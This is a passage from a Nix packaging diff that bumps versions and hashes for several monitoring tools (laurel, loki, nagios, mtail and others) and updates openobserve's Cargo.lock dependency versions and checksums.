"sha256-UPIq7BWTlT0omt/SM5+vkfOHvsdcx/ikkjcW9X8pcw0="; + hash = "sha256-uAfHcW9j+al8IIH2N6X5wssQmSXqJjVQzwERBCxGxVE="; }; offlineCache = stdenv.mkDerivation { @@ -72,7 +72,7 @@ buildGoModule rec { disallowedRequisites = [ offlineCache ]; - vendorHash = "sha256-Gf2A22d7/8xU/ld7kveqGonVKGFCArGNansPRGhfyXM="; + vendorHash = "sha256-nGv/DBNnQ4AOJtrsYIGLCrV1xNmBN0dDf6u46R3TAHo="; nativeBuildInputs = [ wire yarn jq moreutils removeReferencesTo python3 ]; diff --git a/pkgs/servers/monitoring/laurel/default.nix b/pkgs/servers/monitoring/laurel/default.nix index 8b26a04f2a053..a667d1d442b1c 100644 --- a/pkgs/servers/monitoring/laurel/default.nix +++ b/pkgs/servers/monitoring/laurel/default.nix @@ -1,21 +1,33 @@ { acl , fetchFromGitHub +, fetchpatch , lib , rustPlatform }: rustPlatform.buildRustPackage rec { pname = "laurel"; - version = "0.5.6"; + version = "0.6.0"; src = fetchFromGitHub { owner = "threathunters-io"; - repo = pname; + repo = "laurel"; rev = "refs/tags/v${version}"; - hash = "sha256-IGmpNSHGlQGJn4cvcXXWbIOWqsXizzp1azfT41B4rm4="; + hash = "sha256-lWVrp0ytomrQBSDuQCMFJpSuAuwjSYPwoE4yh/WO2ls="; }; - cargoHash = "sha256-jm1AWybDnpc1E4SWieQcsVwn8mxkJ5damMsXqg54LI8="; + cargoHash = "sha256-GY7vpst+Epsy/x/ths6pwtGQgM6Bx0KI+NsCMFCBujE="; + + cargoPatches = [ + # Upstream forgot to bump the Cargo.lock before tagging the release. + # This patch is the first commit immediately after the tag fixing this mistake. + # Needs to be removed next release. + (fetchpatch { + name = "Cargo-lock-version-bump.patch"; + url = "https://github.com/threathunters-io/laurel/commit/f38393d1098e8f75394f83ad3da5c1160fb96652.patch"; + hash = "sha256-x+7p21X38KYqLclFtGnLO5nOHz819+XTaSPMvDbSo/I="; + }) + ]; nativeBuildInputs = [ rustPlatform.bindgenHook ]; buildInputs = [ acl ]; diff --git a/pkgs/servers/monitoring/librenms/default.nix b/pkgs/servers/monitoring/librenms/default.nix index 0fab1b334890e..58b4e5619564d 100644 --- a/pkgs/servers/monitoring/librenms/default.nix +++ b/pkgs/servers/monitoring/librenms/default.nix @@ -45,7 +45,7 @@ in phpPackage.buildComposerProject rec { redis setuptools psutil - command_runner + command-runner ])) ]; diff --git a/pkgs/servers/monitoring/loki/default.nix b/pkgs/servers/monitoring/loki/default.nix index 65f8c348b13c5..2578bb5a0405f 100644 --- a/pkgs/servers/monitoring/loki/default.nix +++ b/pkgs/servers/monitoring/loki/default.nix @@ -8,14 +8,14 @@ }: buildGoModule rec { - version = "2.9.4"; + version = "2.9.5"; pname = "grafana-loki"; src = fetchFromGitHub { owner = "grafana"; repo = "loki"; rev = "v${version}"; - hash = "sha256-uT3rMvSW1eTBhXboA71QeIvuYvc017TxoGG3z3G4K4Y="; + hash = "sha256-+X9ODzyIaeizLItUqorDdvgpIOPML+MzgwmyKbes9dA="; }; vendorHash = null; diff --git a/pkgs/servers/monitoring/mackerel-agent/default.nix b/pkgs/servers/monitoring/mackerel-agent/default.nix index 8d65f992432fa..b99309fb05e50 100644 --- a/pkgs/servers/monitoring/mackerel-agent/default.nix +++ b/pkgs/servers/monitoring/mackerel-agent/default.nix @@ -2,20 +2,20 @@ buildGoModule rec { pname = "mackerel-agent"; - version = "0.78.3"; + version = "0.79.0"; src = fetchFromGitHub { owner = "mackerelio"; repo = pname; rev = "v${version}"; - sha256 = "sha256-9PahaZlHtD4p3C8CvXF2ceNuSOqyApJaZWhFNffNlVA="; + sha256 = "sha256-UKSrNUKS7VYK/hcKdNetaq6HNPqZyK7VtlJZjoyxU6o="; }; nativeBuildInputs = [ makeWrapper ]; nativeCheckInputs = lib.optionals (!stdenv.isDarwin) [ nettools ]; buildInputs = lib.optionals (!stdenv.isDarwin) [ iproute2 ]; - vendorHash = "sha256-lcK1rofTKPpEu/tK8XpS9EhOA30R/8J3o57YlU1/+0k="; + vendorHash = "sha256-AnkjmgcFSI8RadfTdtCk+NCiAw+NecfaU/vc7WOgbuk="; subPackages = [ "." ]; diff --git a/pkgs/servers/monitoring/mtail/default.nix b/pkgs/servers/monitoring/mtail/default.nix index 7e6cbd2e6ca48..089b2311873b1 100644 --- a/pkgs/servers/monitoring/mtail/default.nix +++ b/pkgs/servers/monitoring/mtail/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "mtail"; - version = "3.0.0-rc53"; + version = "3.0.0-rc54"; src = fetchFromGitHub { owner = "google"; repo = "mtail"; rev = "v${version}"; - hash = "sha256-bKNSUXBnKDYaF0VyFn1ke6UkdZWHu5JbUkPPRfIdkh8="; + hash = "sha256-c9lMqHyOerqN32UCyM52EZm4t+MQLDibUOD8rBvIARA="; }; - vendorHash = "sha256-z71Q1I4PG7a1PqBLQV1yHlXImORp8cEtKik9itfvvNs="; + vendorHash = "sha256-TKDOPs5kWOSXrDm6AadEF2PmSEzzrRyTMBWANZEr4cs="; ldflags = [ "-X=main.Branch=main" diff --git a/pkgs/servers/monitoring/nagios/default.nix b/pkgs/servers/monitoring/nagios/default.nix index 442eed82478e1..14e60891c08d9 100644 --- a/pkgs/servers/monitoring/nagios/default.nix +++ b/pkgs/servers/monitoring/nagios/default.nix @@ -14,13 +14,13 @@ stdenv.mkDerivation rec { pname = "nagios"; - version = "4.5.0"; + version = "4.5.1"; src = fetchFromGitHub { owner = "NagiosEnterprises"; repo = "nagioscore"; rev = "refs/tags/nagios-${version}"; - hash = "sha256-km0vB/bopysS7eejDFDKaonXzTzBonIqiw1T+C2lKiQ="; + hash = "sha256-+U2k3w3Yr0qZjHwjRpKZVucB3a35PSZr1Sqa8k0ssq8="; }; patches = [ ./nagios.patch ]; diff --git a/pkgs/servers/monitoring/nagios/plugins/check_ssl_cert.nix b/pkgs/servers/monitoring/nagios/plugins/check_ssl_cert.nix index a5ccc82ccda57..783384eb96101 100644 --- a/pkgs/servers/monitoring/nagios/plugins/check_ssl_cert.nix +++ b/pkgs/servers/monitoring/nagios/plugins/check_ssl_cert.nix @@ -17,13 +17,13 @@ stdenv.mkDerivation rec { pname = "check_ssl_cert"; - version = "2.79.0"; + version = "2.80.0"; src = fetchFromGitHub { owner = "matteocorti"; repo = "check_ssl_cert"; rev = "refs/tags/v${version}"; - hash = "sha256-2NraUEUGyvmEdWCQdzZ5kf+sx/CnSZ54N3zRcCSYhBA="; + hash = "sha256-1KYolUA5AZ9fQLfNb4UE1WlMTj6GiAnNszPTLlERBvc="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/op/openobserve/Cargo.lock b/pkgs/servers/monitoring/openobserve/Cargo.lock index 3a5fe87a8fa47..eaff985674539 100644 --- a/pkgs/by-name/op/openobserve/Cargo.lock +++ b/pkgs/servers/monitoring/openobserve/Cargo.lock @@ -4,11 +4,11 @@ version = 3 [[package]] name = "actix-codec" -version = "0.5.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "617a8268e3537fe1d8c9ead925fca49ef6400927ee7bc26750e90ecee14ce4b8" +checksum = "5f7b0a21988c1bf877cf4759ef5ddaac04c1c9fe808c9142ecb78ba97d97a28a" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.2", "bytes", "futures-core", "futures-sink", @@ -21,9 +21,9 @@ dependencies = [ [[package]] name = "actix-cors" -version = "0.6.4" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b340e9cfa5b08690aae90fb61beb44e9b06f44fe3d0f93781aaa58cfba86245e" +checksum = "0346d8c1f762b41b458ed3145eea914966bb9ad20b9be0d6d463b20d45586370" dependencies = [ "actix-utils", "actix-web", @@ -36,17 +36,17 @@ dependencies = [ [[package]] name = "actix-http" -version = "3.4.0" +version = "3.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a92ef85799cba03f76e4f7c10f533e66d87c9a7e7055f3391f09000ad8351bc9" +checksum = "d223b13fd481fc0d1f83bb12659ae774d9e3601814c68a0bc539731698cca743" dependencies = [ "actix-codec", "actix-rt", "actix-service", "actix-utils", - "ahash 0.8.6", - "base64 0.21.5", - "bitflags 2.4.1", + "ahash 0.8.7", + "base64 0.21.7", + "bitflags 2.4.2", "brotli", "bytes", "bytestring", @@ -55,7 +55,7 @@ dependencies = [ "flate2", "futures-core", "h2", - "http", + "http 0.2.11", "httparse", "httpdate", "itoa", @@ -70,7 +70,7 @@ dependencies = [ "tokio", "tokio-util", "tracing", - "zstd 0.12.4", + "zstd", ] [[package]] @@ -80,7 +80,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e01ed3140b2f8d422c68afa1ed2e85d996ea619c988ac834d255db32138655cb" dependencies = [ "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -118,17 +118,17 @@ dependencies = [ "parse-size", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] name = "actix-router" -version = "0.5.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d66ff4d247d2b160861fa2866457e85706833527840e4133f8f49aa423a38799" +checksum = "d22475596539443685426b6bdadb926ad0ecaefdfc5fb05e5e3441f15463c511" dependencies = [ "bytestring", - "http", + "http 0.2.11", "regex", "serde", "tracing", @@ -156,7 +156,7 @@ dependencies = [ "futures-core", "futures-util", "mio", - "socket2 0.5.5", + "socket2", "tokio", "tracing", ] @@ -174,19 +174,18 @@ dependencies = [ [[package]] name = "actix-tls" -version = "3.1.1" +version = "3.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72616e7fbec0aa99c6f3164677fa48ff5a60036d0799c98cab894a44f3e0efc3" +checksum = "d4cce60a2f2b477bc72e5cde0af1812a6e82d8fd85b5570a5dcf2a5bf2c5be5f" dependencies = [ "actix-rt", "actix-service", "actix-utils", "futures-core", - "http", + "http 0.2.11", + "http 1.0.0", "impl-more", "pin-project-lite", - "rustls", - "rustls-webpki", "tokio", "tokio-util", "tracing", @@ -204,9 +203,9 @@ dependencies = [ [[package]] name = "actix-web" -version = "4.4.0" +version = "4.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e4a5b5e29603ca8c94a77c65cf874718ceb60292c5a5c3e5f4ace041af462b9" +checksum = "43a6556ddebb638c2358714d853257ed226ece6023ef9364f23f0c70737ea984" dependencies = [ "actix-codec", "actix-http", @@ -217,7 +216,7 @@ dependencies = [ "actix-service", "actix-utils", "actix-web-codegen", - "ahash 0.8.6", + "ahash 0.8.7", "bytes", "bytestring", "cfg-if 1.0.0", @@ -237,7 +236,7 @@ dependencies = [ "serde_json", "serde_urlencoded", "smallvec", - "socket2 0.5.5", + "socket2", "time", "url", ] @@ -251,7 +250,7 @@ dependencies = [ "actix-router", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -262,7 +261,7 @@ checksum = "1d613edf08a42ccc6864c941d30fe14e1b676a77d16f1dbadc1174d065a0a775" dependencies = [ "actix-utils", "actix-web", - "base64 0.21.5", + "base64 0.21.7", "futures-core", "futures-util", "log", @@ -271,9 +270,9 @@ dependencies = [ [[package]] name = "actix-web-lab" -version = "0.20.0" +version = "0.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e15f180c2bf7abacfda7d8d9ee4169e7f792ec8983313dc38809e902f61c79d0" +checksum = "7675c1a84eec1b179c844cdea8488e3e409d8e4984026e92fa96c87dd86f33c6" dependencies = [ "actix-http", "actix-router", @@ -281,7 +280,7 @@ dependencies = [ "actix-utils", "actix-web", "actix-web-lab-derive", - "ahash 0.8.6", + "ahash 0.8.7", "arc-swap", "async-trait", "bytes", @@ -290,9 +289,9 @@ dependencies = [ "derive_more", "futures-core", "futures-util", - "http", + "http 0.2.11", "impl-more", - "itertools 0.11.0", + "itertools 0.12.1", "local-channel", "mediatype", "mime", @@ -315,7 +314,7 @@ checksum = "9aa0b287c8de4a76b691f29dbb5451e8dd5b79d777eaf87350c9b0cbfdb5e968" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -354,7 +353,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fd68c2339c8e4498a4b9b83392b58b85c337c835baf38c90757e3236e1121c97" dependencies = [ "actix-web", - "base64 0.21.5", + "base64 0.21.7", "brotli", "chrono", "flate2", @@ -419,9 +418,9 @@ dependencies = [ [[package]] name = "ahash" -version = "0.8.6" +version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" dependencies = [ "cfg-if 1.0.0", "const-random", @@ -478,10 +477,16 @@ dependencies = [ ] [[package]] +name = "anes" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b46cbb362ab8752921c97e041f5e366ee6297bd428a31275b9fcf1e380f7299" + +[[package]] name = "anstream" -version = "0.6.4" +version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" dependencies = [ "anstyle", "anstyle-parse", @@ -493,43 +498,43 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.4" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" [[package]] name = "anstyle-parse" -version = "0.2.2" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "317b9a89c1868f5ea6ff1d9539a69f45dffc21ce321ac1fd1160dfa48c8e2140" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" dependencies = [ "utf8parse", ] [[package]] name = "anstyle-query" -version = "1.0.0" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "anstyle-wincon" -version = "3.0.1" +version = "3.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" dependencies = [ "anstyle", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "anyhow" -version = "1.0.75" +version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" [[package]] name = "anymap" @@ -545,9 +550,9 @@ checksum = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6" [[package]] name = "argon2" -version = "0.5.2" +version = "0.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17ba4cac0a46bc1d2912652a751c47f2a9f3a7fe89bcae2275d418f5270402f9" +checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" dependencies = [ "base64ct", "blake2", @@ -569,11 +574,10 @@ checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" [[package]] name = "arrow" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5bc25126d18a012146a888a0298f2c22e1150327bd2765fc76d710a556b2d614" +checksum = "aa285343fba4d829d49985bdc541e3789cf6000ed0e84be7c039438df4a4e78c" dependencies = [ - "ahash 0.8.6", "arrow-arith", "arrow-array", "arrow-buffer", @@ -591,9 +595,9 @@ dependencies = [ [[package]] name = "arrow-arith" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "34ccd45e217ffa6e53bbb0080990e77113bdd4e91ddb84e97b77649810bcf1a7" +checksum = "753abd0a5290c1bcade7c6623a556f7d1659c5f4148b140b5b63ce7bd1a45705" dependencies = [ "arrow-array", "arrow-buffer", @@ -606,27 +610,26 @@ dependencies = [ [[package]] name = "arrow-array" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6bda9acea48b25123c08340f3a8ac361aa0f74469bb36f5ee9acf923fce23e9d" +checksum = "d390feeb7f21b78ec997a4081a025baef1e2e0d6069e181939b61864c9779609" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow-buffer", "arrow-data", "arrow-schema", "chrono", "chrono-tz", "half", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "num", - "packed_simd", ] [[package]] name = "arrow-buffer" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01a0fc21915b00fc6c2667b069c1b64bdd920982f426079bc4a7cab86822886c" +checksum = "69615b061701bcdffbc62756bc7e85c827d5290b472b580c972ebbbf690f5aa4" dependencies = [ "bytes", "half", @@ -635,16 +638,16 @@ dependencies = [ [[package]] name = "arrow-cast" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5dc0368ed618d509636c1e3cc20db1281148190a78f43519487b2daf07b63b4a" +checksum = "e448e5dd2f4113bf5b74a1f26531708f5edcacc77335b7066f9398f4bcf4cdef" dependencies = [ "arrow-array", "arrow-buffer", "arrow-data", "arrow-schema", "arrow-select", - "base64 0.21.5", + "base64 0.21.7", "chrono", "comfy-table", "half", @@ -654,9 +657,9 @@ dependencies = [ [[package]] name = "arrow-csv" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e09aa6246a1d6459b3f14baeaa49606cfdbca34435c46320e14054d244987ca" +checksum = "46af72211f0712612f5b18325530b9ad1bfbdc87290d5fbfd32a7da128983781" dependencies = [ "arrow-array", "arrow-buffer", @@ -673,9 +676,9 @@ dependencies = [ [[package]] name = "arrow-data" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "907fafe280a3874474678c1858b9ca4cb7fd83fb8034ff5b6d6376205a08c634" +checksum = "67d644b91a162f3ad3135ce1184d0a31c28b816a581e08f29e8e9277a574c64e" dependencies = [ "arrow-buffer", "arrow-schema", @@ -685,9 +688,9 @@ dependencies = [ [[package]] name = "arrow-ipc" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "79a43d6808411886b8c7d4f6f7dd477029c1e77ffffffb7923555cc6579639cd" +checksum = "03dea5e79b48de6c2e04f03f62b0afea7105be7b77d134f6c5414868feefb80d" dependencies = [ "arrow-array", "arrow-buffer", @@ -696,14 +699,14 @@ dependencies = [ "arrow-schema", "flatbuffers", "lz4_flex", - "zstd 0.13.0", + "zstd", ] [[package]] name = "arrow-json" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d82565c91fd627922ebfe2810ee4e8346841b6f9361b87505a9acea38b614fee" +checksum = "8950719280397a47d37ac01492e3506a8a724b3fb81001900b866637a829ee0f" dependencies = [ "arrow-array", "arrow-buffer", @@ -721,9 +724,9 @@ dependencies = [ [[package]] name = "arrow-ord" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b23b0e53c0db57c6749997fd343d4c0354c994be7eca67152dd2bdb9a3e1bb4" +checksum = "1ed9630979034077982d8e74a942b7ac228f33dd93a93b615b4d02ad60c260be" dependencies = [ "arrow-array", "arrow-buffer", @@ -736,35 +739,35 @@ dependencies = [ [[package]] name = "arrow-row" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "361249898d2d6d4a6eeb7484be6ac74977e48da12a4dd81a708d620cc558117a" +checksum = "007035e17ae09c4e8993e4cb8b5b96edf0afb927cd38e2dff27189b274d83dcf" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow-array", "arrow-buffer", "arrow-data", "arrow-schema", "half", - "hashbrown 0.14.2", + "hashbrown 0.14.3", ] [[package]] name = "arrow-schema" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09e28a5e781bf1b0f981333684ad13f5901f4cd2f20589eab7cf1797da8fc167" +checksum = "0ff3e9c01f7cd169379d269f926892d0e622a704960350d09d331be3ec9e0029" dependencies = [ "serde", ] [[package]] name = "arrow-select" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f6208466590960efc1d2a7172bc4ff18a67d6e25c529381d7f96ddaf0dc4036" +checksum = "1ce20973c1912de6514348e064829e50947e35977bb9d7fb637dc99ea9ffd78c" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow-array", "arrow-buffer", "arrow-data", @@ -774,9 +777,9 @@ dependencies = [ [[package]] name = "arrow-string" -version = "49.0.0" +version = "50.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4a48149c63c11c9ff571e50ab8f017d2a7cb71037a882b42f6354ed2da9acc7" +checksum = "00f3b37f2aeece31a2636d1b037dabb69ef590e03bdc7eb68519b51ec86932a7" dependencies = [ "arrow-array", "arrow-buffer", @@ -799,24 +802,31 @@ dependencies = [ [[package]] name = "askama" -version = "0.11.1" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb98f10f371286b177db5eeb9a6e5396609555686a35e1d4f7b9a9c6d8af0139" +checksum = "b79091df18a97caea757e28cd2d5fda49c6cd4bd01ddffd7ff01ace0c0ad2c28" dependencies = [ "askama_derive", "askama_escape", - "askama_shared", + "humansize", + "num-traits", + "percent-encoding", ] [[package]] name = "askama_derive" -version = "0.11.2" +version = "0.12.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87bf87e6e8b47264efa9bde63d6225c6276a52e05e91bf37eaa8afd0032d6b71" +checksum = "19fe8d6cb13c4714962c072ea496f3392015f0989b1a2847bb4b2d9effd71d83" dependencies = [ - "askama_shared", + "askama_parser", + "basic-toml", + "mime", + "mime_guess", "proc-macro2", - "syn 1.0.109", + "quote", + "serde", + "syn 2.0.48", ] [[package]] @@ -826,30 +836,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "619743e34b5ba4e9703bba34deac3427c72507c7159f5fd030aea8cac0cfe341" [[package]] -name = "askama_shared" -version = "0.12.2" +name = "askama_parser" +version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf722b94118a07fcbc6640190f247334027685d4e218b794dbfe17c32bf38ed0" +checksum = "acb1161c6b64d1c3d83108213c2a2533a342ac225aabd0bda218278c2ddb00c0" dependencies = [ - "askama_escape", - "humansize", - "mime", - "mime_guess", "nom", - "num-traits", - "percent-encoding", - "proc-macro2", - "quote", - "serde", - "syn 1.0.109", - "toml", ] [[package]] name = "async-compression" -version = "0.4.5" +version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc2d0cfb2a7388d34f590e76686704c494ed7aaceed62ee1ba35cbf363abc2a5" +checksum = "a116f46a969224200a0a97f29cfd4c50e7534e4b4826bd23ea2c3c533039c82c" dependencies = [ "bzip2", "flate2", @@ -859,8 +858,8 @@ dependencies = [ "pin-project-lite", "tokio", "xz2", - "zstd 0.13.0", - "zstd-safe 7.0.0", + "zstd", + "zstd-safe", ] [[package]] @@ -871,7 +870,7 @@ checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -893,18 +892,18 @@ checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] name = "async-trait" -version = "0.1.74" +version = "0.1.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a66537f1bb974b254c98ed142ff995236e81b9d0fe4db0575f46612cb15eb0f9" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -917,6 +916,16 @@ dependencies = [ ] [[package]] +name = "atomic-write-file" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edcdbedc2236483ab103a53415653d6b4442ea6141baf1ffa85df29635e88436" +dependencies = [ + "nix 0.27.1", + "rand", +] + +[[package]] name = "atty" version = "0.2.14" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -935,9 +944,9 @@ checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] name = "awc" -version = "3.2.0" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7fa3c705a9c7917ac0f41c0757a0a747b43bbc29b0b364b081bd7c5fc67fb223" +checksum = "68c09cc97310b926f01621faee652f3d1b0962545a3cec6c9ac07def9ea36c2c" dependencies = [ "actix-codec", "actix-http", @@ -945,7 +954,7 @@ dependencies = [ "actix-service", "actix-tls", "actix-utils", - "base64 0.21.5", + "base64 0.21.7", "bytes", "cfg-if 1.0.0", "cookie", @@ -953,7 +962,7 @@ dependencies = [ "futures-core", "futures-util", "h2", - "http", + "http 0.2.11", "itoa", "log", "mime", @@ -986,7 +995,7 @@ dependencies = [ "bytes", "fastrand 2.0.1", "hex", - "http", + "http 0.2.11", "hyper", "ring 0.16.20", "time", @@ -1021,7 +1030,7 @@ dependencies = [ "aws-smithy-types", "aws-types", "bytes", - "http", + "http 0.2.11", "http-body", "lazy_static", "percent-encoding", @@ -1044,7 +1053,7 @@ dependencies = [ "aws-smithy-types", "aws-types", "fastrand 2.0.1", - "http", + "http 0.2.11", "percent-encoding", "tracing", "uuid", @@ -1069,7 +1078,7 @@ dependencies = [ "aws-types", "bytes", "fastrand 2.0.1", - "http", + "http 0.2.11", "regex", "tokio-stream", "tracing", @@ -1093,7 +1102,7 @@ dependencies = [ "aws-smithy-types", "aws-types", "bytes", - "http", + "http 0.2.11", "regex", "tokio-stream", "tracing", @@ -1118,7 +1127,7 @@ dependencies = [ "aws-smithy-types", "aws-smithy-xml", "aws-types", - "http", + "http 0.2.11", "regex", "tracing", ] @@ -1133,7 +1142,7 @@ dependencies = [ "form_urlencoded", "hex", "hmac", - "http", + "http 0.2.11", "once_cell", "percent-encoding", "regex", @@ -1166,7 +1175,7 @@ dependencies = [ "aws-smithy-types", "bytes", "fastrand 2.0.1", - "http", + "http 0.2.11", "http-body", "hyper", "hyper-rustls", @@ -1188,7 +1197,7 @@ dependencies = [ "bytes", "bytes-utils", "futures-core", - "http", + "http 0.2.11", "http-body", "hyper", "once_cell", @@ -1209,7 +1218,7 @@ dependencies = [ "aws-smithy-http", "aws-smithy-types", "bytes", - "http", + "http 0.2.11", "http-body", "pin-project-lite", "tower", @@ -1248,7 +1257,7 @@ dependencies = [ "aws-smithy-types", "bytes", "fastrand 2.0.1", - "http", + "http 0.2.11", "http-body", "once_cell", "pin-project-lite", @@ -1267,7 +1276,7 @@ dependencies = [ "aws-smithy-http", "aws-smithy-types", "bytes", - "http", + "http 0.2.11", "tokio", "tracing", ] @@ -1306,7 +1315,7 @@ dependencies = [ "aws-smithy-client", "aws-smithy-http", "aws-smithy-types", - "http", + "http 0.2.11", "rustc_version", "tracing", ] @@ -1322,7 +1331,7 @@ dependencies = [ "bitflags 1.3.2", "bytes", "futures-util", - "http", + "http 0.2.11", "http-body", "hyper", "itoa", @@ -1348,7 +1357,7 @@ dependencies = [ "async-trait", "bytes", "futures-util", - "http", + "http 0.2.11", "http-body", "mime", "rustversion", @@ -1372,6 +1381,12 @@ dependencies = [ ] [[package]] +name = "base-encode" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a17bd29f7c70f32e9387f4d4acfa5ea7b7749ef784fb78cf382df97069337b8c" + +[[package]] name = "base16" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1391,9 +1406,9 @@ checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" [[package]] name = "base64" -version = "0.21.5" +version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" [[package]] name = "base64-simd" @@ -1418,6 +1433,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e7b7172542a3d446ca7b2be4e28e4f4c119a89c396712f7ca1ad2822bfc54ca2" [[package]] +name = "basic-toml" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2db21524cad41c5591204d22d75e1970a2d1f71060214ca931dc7d5afe2c14e5" +dependencies = [ + "serde", +] + +[[package]] name = 